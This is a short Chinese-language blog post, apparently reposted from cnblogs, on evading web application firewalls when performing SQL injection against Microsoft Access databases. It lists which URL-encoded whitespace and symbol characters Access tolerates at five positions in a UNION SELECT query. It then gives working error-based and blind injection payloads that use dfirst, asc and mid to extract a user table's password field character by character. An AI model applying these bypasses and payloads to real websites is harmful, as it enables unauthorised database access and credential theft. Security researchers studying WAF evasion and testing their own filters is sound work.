WAF Bypass数据库特性(Access探索篇)

0x01 背景

无聊,测试了一下access特性

0x02 测试

常见有5个位置即:select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

位置一:参数和union之间的位置

(1)空白字符

Access可以利用的空白字符有:%09、%0a、%0c、%0d、%16

(2)%3b

位置二:union和select之间的位置

(1)空白字符

Access可以利用的空白字符有:%09、%0a、%0c、%0d

位置三:select和查询参数之间的位置

(1)空白字符

Access可以利用的空白字符有:%09、%0a、%0c、%0d

(2)其他字符

%2b、%2d、%2e、%3d

位置四:查询参数和from之间的位置

(1)空白字符

Access可以利用的空白字符有:%09、%0a、%0c、%0d

位置五:from后面的位置

(1)空白字符

Access可以利用的空白字符有:%09、%0a、%0c、%0d

0x03 技巧

ACCESS无select SQL注射

1 、需要报错

select * from idea_user where id=3+(dfirst([password],([idea_user]![password])))

2、盲注

select * from idea_user where id=3+asc(mid((dfirst("[password]","[idea_user]")),1,1))-101

password字段第一个字符为e,对应ascii为101,所以id=3+101-101 还是等于3,页面返回正常

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

  

参考文章:

ACCESS无select SQL注射  http://www.5kik.com/aspnews/597.html

原文地址:https://www.cnblogs.com/xiaozi/p/7544900.html